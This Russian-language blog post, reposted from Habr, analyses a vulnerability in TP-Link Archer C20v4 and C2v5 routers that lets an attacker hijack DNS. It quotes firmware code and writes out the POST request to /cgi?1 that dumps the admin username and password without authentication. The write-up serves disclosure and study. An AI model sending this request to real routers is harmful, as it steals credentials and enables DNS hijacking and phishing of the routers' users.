- PVSM.RU - https://www.pvsm.ru -
Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.
Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:
Что нужно:
Выяснить, каким способом был получен доступ к устройству.
Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.
Был найден скрипт на гитхабе (тык [1]) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.
Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), "[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]" и особый referer.
Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:
function doSetUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1rnadminName=" + $("newUsr").value + "rn";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
getUsrName();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?2", true);
xmlHttpObj.send(args);
}
Эта функция при выполнении вызывает другую — getUsrName().
Функция получения логина:
function getUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1rnadminNamern";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
currUserName = xmlHttpObj.responseText.split("n")[1].replace("adminName=", "");
doSetPassword();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?1", true);
xmlHttpObj.send(args);
}
Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml
Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:
<X_TP_UserCfg t=o r=P s=USER_CFG_OBJ h=1 >
<RootName t=s r=R l=16 al=cli h=1 />
<RootPwd t=s r=R l=16 al=cli h=1 />
<AdminName t=s r=W l=16 al=cli d=admin h=1 />
<AdminPwd t=s r=W l=16 al=cli d=admin h=1 />
<UserName t=s r=W l=16 al=cli h=1 />
<UserPwd t=s r=W l=16 al=cli h=1 />
</X_TP_UserCfg>
Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.
Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:
data = (
"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6rn"
"dataBlockSize=64rn"
"timeout=1rn"
"numberOfRepetitions=1rn"
"host=127.0.0.1rn"
"X_TP_ConnName=ewan_ipoe_srn"
"diagnosticsState=Requestedrn"
)
По аналогии формируем свой запрос:
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2rn"
"adminNamern"
"adminPwdrn"
Ииииии отправляем. В Wireshark'e пакет выглядит вот так:
Смотрим ответ:
Внимательный читатель заметит, что POST-запрос был отправлен к "/cgi?1", а не как в скрипте к "/cgi?2". Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.
Авторизуемся:
И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:
На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.
Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.
Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.
Автор: SuLX
Источник [9]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/bezopasnost/288052
Ссылки в тексте:
[1] тык: https://github.com/threat9/routersploit/blob/master/routersploit/modules/exploits/routers/tplink/archer_c2_c20i_rce.py
[2] Image: http://www.picshare.ru/view/8906835/
[3] Image: http://www.picshare.ru/view/8906839/
[4] Image: http://www.picshare.ru/view/8906849/
[5] Image: http://www.picshare.ru/view/8906853/
[6] Image: http://www.picshare.ru/view/8906854/
[7] Image: http://www.picshare.ru/view/8906859/
[8] Image: http://www.picshare.ru/view/8906861/
[9] Источник: https://habr.com/post/419071/?utm_campaign=419071
Нажмите здесь для печати.